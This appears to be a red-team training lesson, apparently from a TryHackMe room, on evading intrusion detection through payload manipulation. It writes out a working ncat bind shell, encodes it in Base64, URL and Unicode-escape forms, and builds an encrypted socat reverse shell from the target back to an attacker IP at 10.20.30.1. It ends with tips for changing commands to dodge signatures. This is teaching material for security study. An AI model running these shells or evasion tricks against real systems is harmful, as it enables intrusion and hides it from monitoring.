Evasion via payload manipulation

Evasion via payload manipulation includes:

  • Obfuscating and encoding the payload.

  • Encrypting the communication channel.

  • Modifying the shellcode.

Obfuscating and encoding the payload

Because IDS rules are very specific, minor changes to avoid detection can work. The changes include adding extra bytes, obfuscating the attack data, and encrypting the communication.

Consider the command ncat -lvnp 1234 -e /bin/bash, where ncat will listen on TCP port 1234 and connect any incoming connection to the Bash shell. There are a few common transformations such as Base64, URL encoding, and Unicode escape sequence that can be applied to the command to avoid triggering IDS/IPS signatures.

Encode to a Base64 format:

$ cat input.txt
ncat -lvnp 1234 -e /bin/bash
$ base64 input.txt
bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==

URL encoding:

$ urlencode ncat -lvnp 1234 -e /bin/bash
ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash

Escaped Unicode

Some applications will still process input and execute it properly if escaped Unicode is used. There are multiple ways to use escaped Unicode depending on the system processing the input string. For example, CyberChef can be used to select and configure the Escape Unicode Characters.

  1. Search for Escape Unicode Characters

  2. Drag it to the Recipe column

  3. Check-mark Encode all chars with a prefix of \u

  4. Make sure there is a check-mark near Uppercase hex with a padding of 4

Cyberchef

Clearly a drastic transformation that would help evade detection, assuming the target system will
interpret it correctly and execute it.

Using the format \uXXXX, ncat -lvnp 1234 -e /bin/bash becomes:

\u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\u002f\u0062\u0069\u006e\u002f\u0062\u0061\u0073\u0068

Encrypting the communication channel

Because an IDS/IPS will not inspect encrypted data, an attacker can take advantage of encryption to evade detection. Unlike encoding, encryption requires an encryption key and decrypting on the other side.

One direct approach is to create the necessary encryption key on the attacker’s system and set socat to use the encryption key to enforce encryption as it listens for incoming connections. An encrypted reverse shell can be carried out in three steps:

  1. Create the key

  2. Listen on the attacker’s machine

  3. Connect to the attacker’s machine

Create key using openssl:

$ openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
$ ls
thm-reverse.crt  thm-reverse.key

  • req indicates that this is a certificate signing request (not submitting it for signing).

  • -x509 specifies an X.509 certificate

  • -newkey rsa:4096 creates a new certificate request and a new private key using RSA, with the key size being 4096 bits.

  • -days validity in days

  • -subj sets data, such as organisation and country, via the command-line.

  • -nodes simplifies the command and does not encrypt the private key

  • -keyout PRIVATE_KEY specifies the filename to save the private key to

  • -out CERTIFICATE specifies the filename to which to write the certificate request

The command returns a private key thm-reverse.key and a certificate thm-reverse.crt.

The Privacy Enhanced Mail (PEM) .pem file requires the concatenation of the private key .key and the certificate .crt files:

cat thm-reverse.key thm-reverse.crt > thm-reverse.pem

With the PEM file ready, start listening while using the key for encrypting the communication with the client:

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

On the target system, connect back:

socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash

Modifying the shellcode

Consider the simple case of using Ncat to create a bind shell. The command ncat -lvnp 1234 -e /bin/bash tells ncat to listen on TCP port 1234 and bind Bash shell to it. To detect packets containing such commands, think of something specific to match the signature but not too specific. So will attackers:

  • Scanning for ncat -lvnp can be easily evaded by changing the order of the flags.

  • On the other hand, inspecting the payload for ncat - can be evaded by adding an extra white space, such as ncat  - which would still run correctly on the target system.

  • If the IDS is looking for ncat, then simple changes to the original command are unlikely to evade detection. Consider more sophisticated approaches depending on the target system/application. One option would be to use a different command such as nc or socat. Alternatively, consider a different encoding if the target system can process it properly.

Resources